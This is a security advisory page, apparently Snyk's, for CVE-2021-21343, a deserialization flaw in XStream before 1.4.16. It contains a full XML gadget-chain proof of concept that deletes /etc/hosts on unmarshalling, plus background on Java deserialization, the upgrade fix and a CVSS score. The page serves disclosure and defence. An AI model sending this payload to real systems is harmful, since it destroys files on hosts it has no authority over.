Deserialization of Untrusted Data

Affecting com.thoughtworks.xstream:xstream artifact, versions [,1.4.16)

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability where the processed stream at unmarshalling time contains type information to recreate the formerly written objects. An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
                <part>
                  <dataHead>
                    <tail/>
                    <head>
                      <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
                        <len>3</len>
                        <data>AQID</data>
                      </data>
                    </head>
                  </dataHead>
                  <contentTransferEncoding>base64</contentTransferEncoding>
                  <msg>
                    <it class='java.util.ArrayList$Itr'>
                      <cursor>0</cursor>
                      <lastRet>1</lastRet>
                      <expectedModCount>4</expectedModCount>
                        <outer-class>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                        </outer-class>
                    </it>
                    <in class='java.io.FileInputStream'>
                      <fd/>
                      <channel class='sun.nio.ch.FileChannelImpl'>
                        <closeLock/>
                        <open>true</open>
                        <threads>
                          <used>-1</used>
                        </threads>
                        <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'>
                          <sockClient>
                            <fileName>/etc/hosts</fileName>
                            <unlinkFile>true</unlinkFile>
                          </sockClient>
                          <connectionSync/>
                        </parent>
                      </channel>
                      <closeLock/>
                    </in>
                  </msg>
                </part>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

  • Apache Blog

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.16 or higher.

References

CVSS Score

5.3
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    Required
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    High
  • Availability
    None
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N/E:P
Credit
Liaogui Zhong
CVE
CVE-2021-21343
CWE
CWE-502
Snyk ID
SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1088333
Disclosed
23 Mar, 2021
Published
23 Mar, 2021